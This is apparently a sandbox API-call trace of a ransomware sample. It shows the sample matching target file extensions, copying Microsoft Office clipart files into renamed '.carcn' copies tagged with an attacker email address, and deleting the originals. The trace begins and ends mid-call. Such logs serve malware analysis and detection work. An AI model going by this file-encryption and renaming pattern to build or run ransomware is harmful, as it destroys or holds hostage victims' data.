(lpString=".1cd") returned 4 [0280.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.912] lstrlenW (lpString=".jpg") returned 4 [0280.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.912] lstrlenW (lpString=".doc") returned 4 [0280.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.912] lstrlenW (lpString=".docx") returned 5 [0280.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.912] lstrlenW (lpString=".pdf") returned 4 [0280.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.912] lstrlenW (lpString=".xls") returned 4 [0280.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.913] lstrlenW (lpString=".xlsx") returned 5 [0280.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.913] lstrlenW (lpString=".ppt") returned 4 [0280.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.913] lstrlenW (lpString=".zip") returned 4 [0280.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.913] lstrlenW (lpString=".rar") returned 4 [0280.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.913] lstrlenW (lpString=".bz2") returned 4 [0280.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.913] lstrlenW (lpString=".7z") returned 3 [0280.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.913] lstrlenW (lpString=".dbf") returned 4 [0280.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.913] lstrlenW (lpString=".1cd") returned 4 [0280.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0280.913] lstrlenW (lpString=".jpg") returned 4 [0280.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.914] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0280.914] lstrlenW (lpString="FD00090_.WMF") returned 12 [0280.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0280.915] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=14194) returned 1 [0280.915] CloseHandle (hObject=0x53c) returned 1 [0280.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0280.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0280.916] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.916] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0280.917] GetLastError () returned 0x0 [0280.917] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x3772, lpOverlapped=0x0) returned 1 [0280.920] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x3780, lpOverlapped=0x0) returned 1 [0280.922] ReadFile (in: hFile=0x53c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.922] WriteFile (in: hFile=0x55c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.922] SetEndOfFile (hFile=0x55c) returned 1 [0280.922] CloseHandle (hObject=0x55c) returned 1 [0280.923] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.923] SetEndOfFile (hFile=0x53c) returned 1 [0280.931] CloseHandle (hObject=0x53c) returned 1 [0280.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0280.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.933] lstrlenW (lpString=".doc") returned 4 [0280.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.933] lstrlenW (lpString=".docx") returned 5 [0280.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.933] lstrlenW (lpString=".pdf") returned 4 [0280.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.933] lstrlenW (lpString=".xls") returned 4 [0280.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.934] lstrlenW (lpString=".xlsx") returned 5 [0280.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.934] lstrlenW (lpString=".ppt") returned 4 [0280.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.934] lstrlenW (lpString=".zip") returned 4 [0280.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.934] lstrlenW (lpString=".rar") returned 4 [0280.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.934] lstrlenW (lpString=".bz2") returned 4 [0280.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.934] lstrlenW (lpString=".7z") returned 3 [0280.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.934] lstrlenW (lpString=".dbf") returned 4 [0280.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.934] lstrlenW (lpString=".1cd") returned 4 [0280.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0280.934] lstrlenW (lpString=".jpg") returned 4 [0280.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.959] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=37390) returned 1 [0280.959] CloseHandle (hObject=0x4bc) returned 1 [0280.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0281.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0281.108] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.108] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0281.321] GetLastError () returned 0x0 [0281.321] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x920e, lpOverlapped=0x0) returned 1 [0281.433] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x9210, lpOverlapped=0x0) returned 1 [0281.435] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.435] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.435] SetEndOfFile (hFile=0x4a0) returned 1 [0281.441] CloseHandle (hObject=0x4a0) returned 1 [0281.443] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.443] SetEndOfFile (hFile=0x544) returned 1 [0281.461] CloseHandle (hObject=0x544) returned 1 [0281.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0281.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.463] lstrlenW (lpString=".doc") returned 4 [0281.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.463] lstrlenW (lpString=".docx") returned 5 [0281.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.463] lstrlenW (lpString=".pdf") returned 4 [0281.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.463] lstrlenW (lpString=".xls") returned 4 [0281.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.463] lstrlenW (lpString=".xlsx") returned 5 [0281.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.463] lstrlenW (lpString=".ppt") returned 4 [0281.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.463] lstrlenW (lpString=".zip") returned 4 [0281.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.463] lstrlenW (lpString=".rar") returned 4 [0281.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.464] lstrlenW (lpString=".bz2") returned 4 [0281.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.464] lstrlenW (lpString=".7z") returned 3 [0281.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.464] lstrlenW (lpString=".dbf") returned 4 [0281.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.464] lstrlenW (lpString=".1cd") returned 4 [0281.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0281.464] lstrlenW (lpString=".jpg") returned 4 [0281.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.465] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2108) returned 1 [0281.465] CloseHandle (hObject=0x544) returned 1 [0281.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0281.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0281.466] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.466] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.468] GetLastError () returned 0x0 [0281.468] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x83c, lpOverlapped=0x0) returned 1 [0281.501] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x840, lpOverlapped=0x0) returned 1 [0281.502] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.502] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.502] SetEndOfFile (hFile=0x4bc) returned 1 [0281.503] CloseHandle (hObject=0x4bc) returned 1 [0281.503] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.503] SetEndOfFile (hFile=0x544) returned 1 [0281.506] CloseHandle (hObject=0x544) returned 1 [0281.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.507] lstrlenW (lpString=".doc") returned 4 [0281.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".docx") returned 5 [0281.507] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.507] lstrlenW (lpString=".pdf") returned 4 [0281.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString=".xls") returned 4 [0281.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.507] lstrlenW (lpString=".xlsx") returned 5 [0281.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.507] lstrlenW (lpString=".ppt") returned 4 [0281.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.508] lstrlenW (lpString=".zip") returned 4 [0281.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.508] lstrlenW (lpString=".rar") returned 4 [0281.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".bz2") returned 4 [0281.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString=".7z") returned 3 [0281.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.508] lstrlenW (lpString=".dbf") returned 4 [0281.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.508] lstrlenW (lpString=".1cd") returned 4 [0281.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0281.508] lstrlenW (lpString=".jpg") returned 4 [0281.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.509] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=8926) returned 1 [0281.509] CloseHandle (hObject=0x544) returned 1 [0281.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0281.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0281.510] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.510] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.511] GetLastError () returned 0x0 [0281.511] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x22de, lpOverlapped=0x0) returned 1 [0281.688] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0281.689] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.689] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.689] SetEndOfFile (hFile=0x4bc) returned 1 [0281.690] CloseHandle (hObject=0x4bc) returned 1 [0281.690] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.690] SetEndOfFile (hFile=0x544) returned 1 [0281.693] CloseHandle (hObject=0x544) returned 1 [0281.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0281.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.694] lstrlenW (lpString=".doc") returned 4 [0281.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.694] lstrlenW (lpString=".docx") returned 5 [0281.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.695] lstrlenW (lpString=".pdf") returned 4 [0281.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.695] lstrlenW (lpString=".xls") returned 4 [0281.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.695] lstrlenW (lpString=".xlsx") returned 5 [0281.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.695] lstrlenW (lpString=".ppt") returned 4 [0281.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.695] lstrlenW (lpString=".zip") returned 4 [0281.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.695] lstrlenW (lpString=".rar") returned 4 [0281.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.695] lstrlenW (lpString=".bz2") returned 4 [0281.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.695] lstrlenW (lpString=".7z") returned 3 [0281.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0281.695] lstrlenW (lpString=".dbf") returned 4 [0281.696] lstrcmpiW (lpString1=".dbf", 